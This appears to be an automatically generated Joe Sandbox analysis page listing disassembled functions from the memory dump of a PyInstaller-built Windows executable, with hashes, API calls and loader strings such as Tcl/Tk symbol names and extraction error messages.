Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction ID: 799c7b8f921a849aa24c168a4c3c8aa7332cb83310d7d0a8b12a33ff47d5b973
Opcode Fuzzy Hash: 5d3ac10822f6242d2b374fc0e1218152d8e80c351f0dfcd4fab21387456caa74
Instruction Fuzzy Hash: 34F0C871B182928BDBE8AF68A802629B7D0FB183C0FC4807AD5AD87B44CA3CD0518F54

Function 00007FF7F3DDD30C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction ID: 633ffe06156be9ae315cf2cf7e6ef6c4ed8503034882080e74de376f159e00a8
Opcode Fuzzy Hash: 3c3909751b2697c6481bc0460501d6177e5cf72f77169ad8285d6e0cd944102a
Instruction Fuzzy Hash: 28A00121D4D80AD4EB84AB90A890525A621BB54300BC00031E42D694E89E2CA50492A0

Function 00007FF7F3DD76C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7F3DD76D7
GetLastError.KERNEL32 ref: 00007FF7F3DD76E9
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7725
GetLastError.KERNEL32 ref: 00007FF7F3DD7737
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7750
GetLastError.KERNEL32 ref: 00007FF7F3DD7762
GetProcAddress.KERNEL32 ref: 00007FF7F3DD777B
GetLastError.KERNEL32 ref: 00007FF7F3DD778D
GetProcAddress.KERNEL32 ref: 00007FF7F3DD77A9
GetLastError.KERNEL32 ref: 00007FF7F3DD77BB
GetProcAddress.KERNEL32 ref: 00007FF7F3DD77D7
GetLastError.KERNEL32 ref: 00007FF7F3DD77E9
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7805
GetLastError.KERNEL32 ref: 00007FF7F3DD7817
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7833
GetLastError.KERNEL32 ref: 00007FF7F3DD7845
GetProcAddress.KERNEL32 ref: 00007FF7F3DD7861
GetLastError.KERNEL32 ref: 00007FF7F3DD7873

Strings

Tcl_DeleteInterp, xrefs: 00007FF7F3DD77FB, 00007FF7F3DD781D
Tcl_MutexFinalize, xrefs: 00007FF7F3DD790F, 00007FF7F3DD7931
Tcl_SetVar2Ex, xrefs: 00007FF7F3DD7B37, 00007FF7F3DD7B59
Tcl_CreateThread, xrefs: 00007FF7F3DD7829, 00007FF7F3DD784B
Tcl_ConditionFinalize, xrefs: 00007FF7F3DD793D, 00007FF7F3DD795F
Tcl_NewStringObj, xrefs: 00007FF7F3DD7ADB, 00007FF7F3DD7AFD
Tcl_ThreadQueueEvent, xrefs: 00007FF7F3DD79C7, 00007FF7F3DD79E9
Tcl_FindExecutable, xrefs: 00007FF7F3DD7746, 00007FF7F3DD7768
Tcl_ConditionNotify, xrefs: 00007FF7F3DD796B, 00007FF7F3DD798D
Tcl_EvalEx, xrefs: 00007FF7F3DD7BC1, 00007FF7F3DD7BE3
GetProcAddress, xrefs: 00007FF7F3DD76FF
Tcl_MutexUnlock, xrefs: 00007FF7F3DD78E1, 00007FF7F3DD7903
Tcl_GetCurrentThread, xrefs: 00007FF7F3DD7857, 00007FF7F3DD7879
Failed to get address for %hs, xrefs: 00007FF7F3DD76F8
Tcl_Alloc, xrefs: 00007FF7F3DD7C1D, 00007FF7F3DD7C3F
Tcl_SetVar2, xrefs: 00007FF7F3DD7A51, 00007FF7F3DD7A73
Tcl_CreateObjCommand, xrefs: 00007FF7F3DD7A7F, 00007FF7F3DD7AA1
Tcl_Finalize, xrefs: 00007FF7F3DD779F, 00007FF7F3DD77C1
Tcl_ConditionWait, xrefs: 00007FF7F3DD7999, 00007FF7F3DD79BB
Tcl_DoOneEvent, xrefs: 00007FF7F3DD7771, 00007FF7F3DD7793
Tcl_EvalFile, xrefs: 00007FF7F3DD7B93, 00007FF7F3DD7BB5
Tcl_CreateInterp, xrefs: 00007FF7F3DD771B, 00007FF7F3DD773D
Tcl_Free, xrefs: 00007FF7F3DD7C4B, 00007FF7F3DD7C6D
Tcl_GetObjResult, xrefs: 00007FF7F3DD7B65, 00007FF7F3DD7B87
Tcl_GetVar2, xrefs: 00007FF7F3DD7A23, 00007FF7F3DD7A45
Tk_Init, xrefs: 00007FF7F3DD7C79, 00007FF7F3DD7C9B
Tcl_NewByteArrayObj, xrefs: 00007FF7F3DD7B09, 00007FF7F3DD7B2B
Tcl_Init, xrefs: 00007FF7F3DD76D0, 00007FF7F3DD76EF
Tcl_GetString, xrefs: 00007FF7F3DD7AAD, 00007FF7F3DD7ACF
Tcl_EvalObjv, xrefs: 00007FF7F3DD7BEF, 00007FF7F3DD7C11
Tcl_ThreadAlert, xrefs: 00007FF7F3DD79F5, 00007FF7F3DD7A17
Tcl_JoinThread, xrefs: 00007FF7F3DD7885, 00007FF7F3DD78A7
Tk_GetNumMainWindows, xrefs: 00007FF7F3DD7CA7, 00007FF7F3DD7CC9
Tcl_MutexLock, xrefs: 00007FF7F3DD78B3, 00007FF7F3DD78D5
Tcl_FinalizeThread, xrefs: 00007FF7F3DD77CD, 00007FF7F3DD77EF

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: 2c5970798314cd67353c4770c197becfaa6e639420e33319c842569f418bac22
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 0402AB2490EB0791EBD5BFA5A890578E361AF09755FC41071D83E2A2E8EF3CB15992F0

Function 00007FF7F3DD81D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DD9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7F3DD45F4,00000000,00007FF7F3DD1985), ref: 00007FF7F3DD93C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7F3DD86B7,?,?,00000000,00007FF7F3DD3CBB), ref: 00007FF7F3DD822C

Part of subcall function 00007FF7F3DD2810: MessageBoxW.USER32 ref: 00007FF7F3DD28EA

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7F3DD8373
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7F3DD8203
%.*s, xrefs: 00007FF7F3DD830C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7F3DD8240
CreateDirectory, xrefs: 00007FF7F3DD837C
\, xrefs: 00007FF7F3DD8261
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7F3DD829D
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7F3DD82D9

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction ID: a8701849d75f3fde35995c81857c6491dccaffc4380616e41407ab6daf436257
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: BB518711A2D68291FBD1BBA5D8516B9F250AF94780FC44431DA2EAE7D9EE3CE50483F0

Function 00007FF7F3DD2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7F3DD21AB
SelectObject.GDI32 ref: 00007FF7F3DD21F2
DrawTextW.USER32 ref: 00007FF7F3DD2215
SelectObject.GDI32 ref: 00007FF7F3DD222B
ReleaseDC.USER32 ref: 00007FF7F3DD223B
MoveWindow.USER32 ref: 00007FF7F3DD228B
MoveWindow.USER32 ref: 00007FF7F3DD22CB
MoveWindow.USER32 ref: 00007FF7F3DD231E
MoveWindow.USER32 ref: 00007FF7F3DD2366

Strings

P%, xrefs: 00007FF7F3DD21FF

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 8e49502afe0649f0e048a1c0c177276a1f758f142f0379655705d5355395b2fc
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: B2510626608BA186D7749F36A4581BAF7A1FB98B65F004131EFEE47694DF3CD085CB20

Function 00007FF7F3DD80C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7F3DD80FF
GetWindowLongPtrW.USER32 ref: 00007FF7F3DD817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF7F3DD8192
GetLastError.KERNEL32 ref: 00007FF7F3DD819C
SetWindowLongPtrW.USER32 ref: 00007FF7F3DD81B3

Strings

Needs to remove its temporary files., xrefs: 00007FF7F3DD8185

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: fa1522f97fb98892dfe46c309bd3000e60e2174a9f8c404bb961c01f4937379c
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: EB218821B09A4282E7916BF9F884179A350EF89B90F984131DE3D5B3D8DE2CD5598360

Function 00007FF7F3DE6290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE62D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE66C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE695C

Strings

-, xrefs: 00007FF7F3DE6369
p, xrefs: 00007FF7F3DE6385
p, xrefs: 00007FF7F3DE63FD
:, xrefs: 00007FF7F3DE648C
f, xrefs: 00007FF7F3DE63F5

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 5e72220c1a9951190760defcdf5b29bcb7f8b6d8fdbf3005cafdf6d8a8781a45
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: D112D662E1C24386FBA87E94D144279FE91FB40754FC44235D6A92BAC4DF3CE5C08BA2

Function 00007FF7F3DE0FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE1008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE13D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE166F

Strings

f, xrefs: 00007FF7F3DE1255
f, xrefs: 00007FF7F3DE110A
f, xrefs: 00007FF7F3DE10A0
p, xrefs: 00007FF7F3DE1112
p, xrefs: 00007FF7F3DE10AD

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 93c77003ae05eb8f7df6ed0cd9f73ba6a37035c28a0fe4c194a1df7c6810b29a
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: 2B12AB62F0C14385FBA8BA94D044279FEA9FB40754FC44235D6BA5A6C4DB7CE4C487A2

Function 00007FF7F3DD1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF7F3DD11FD
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7F3DD1108
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7F3DD1098
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7F3DD10CC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7F3DD11F6
fseek, xrefs: 00007FF7F3DD10D3
malloc, xrefs: 00007FF7F3DD110F

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: d436057c5a6e521730f70869508030d05780905e32113d9df76236ab545b9bde
Instruction ID: dadcda14d6b83b980c0354c7bfc0dc0128aa30ee8e9a7e8485dd92544c0c36ec
Opcode Fuzzy Hash: d436057c5a6e521730f70869508030d05780905e32113d9df76236ab545b9bde
Instruction Fuzzy Hash: 81418E61A0865382EB94FB92A8406B9F7A5FF44BC4FC44532ED2D2B7C5DE3CE54583A0

Function 00007FF7F3DD1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF7F3DD15E6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7F3DD1518
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7F3DD149F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7F3DD14DE
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7F3DD15DF
fseek, xrefs: 00007FF7F3DD14E5
malloc, xrefs: 00007FF7F3DD151F

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 890a830d18fe948d04508dae397803de1745eda11f1e360a34a7b44da65b0a77
Instruction ID: 1707ef3a49e271e07163ff1ddbfb7564dd7ab755d4cf15c5305be77f46131eea
Opcode Fuzzy Hash: 890a830d18fe948d04508dae397803de1745eda11f1e360a34a7b44da65b0a77
Instruction Fuzzy Hash: AE418D21A0864386EB90EBA1A4412B9F3A4EF44784FC44532ED6D2BBD9DE3CE541C7A1

Function 00007FF7F3DDEA08 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7F3DDEA65

Part of subcall function 00007FF7F3DDF9BC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7F3DDF9FF
Part of subcall function 00007FF7F3DDF9BC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7F3DDFA24

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7F3DDEB3D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7F3DDED8B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7F3DDEE98

Strings

csm, xrefs: 00007FF7F3DDEA7F
csm, xrefs: 00007FF7F3DDEB60
csm, xrefs: 00007FF7F3DDEAE6

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction ID: 87e55a07004d764e5f578cf396403638c36e6746f4176f38b9332c186a714f53
Opcode Fuzzy Hash: aab7c7e636ea8a2572919ef13f94062ff4905efd63cd4babadd9079b892b9703
Instruction Fuzzy Hash: C7D1813290874186EBA0EFA5D4403ADB7A4FB45788F900135EE9D6B7D9DF38E485C790

Function 00007FF7F3DEED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7F3DEF0AA,?,?,0000021C07578B08,00007FF7F3DEAD53,?,?,?,00007FF7F3DEAC4A,?,?,?,00007FF7F3DE5F3E), ref: 00007FF7F3DEEE8C
GetProcAddress.KERNEL32(?,?,?,00007FF7F3DEF0AA,?,?,0000021C07578B08,00007FF7F3DEAD53,?,?,?,00007FF7F3DEAC4A,?,?,?,00007FF7F3DE5F3E), ref: 00007FF7F3DEEE98

Strings

api-ms-, xrefs: 00007FF7F3DEEDD6
ext-ms-, xrefs: 00007FF7F3DEEDE9

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 37933d31b63b379ae2dcbb5bd94ec17a9785335afdd77bd7dc2312315796d10e
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 68414761B09A1241EB99EB929800275A691BF48BD0FC84235DD3D6F3C4DF7CE88583A1

Function 00007FF7F3DD2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7F3DD3706,?,00007FF7F3DD3804), ref: 00007FF7F3DD2D63
MessageBoxW.USER32 ref: 00007FF7F3DD2D99

Strings

%ls: , xrefs: 00007FF7F3DD2D22
Error, xrefs: 00007FF7F3DD2D8C
[PYI-%d:ERROR] , xrefs: 00007FF7F3DD2CA6
<FormatMessageW failed.>, xrefs: 00007FF7F3DD2D70

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
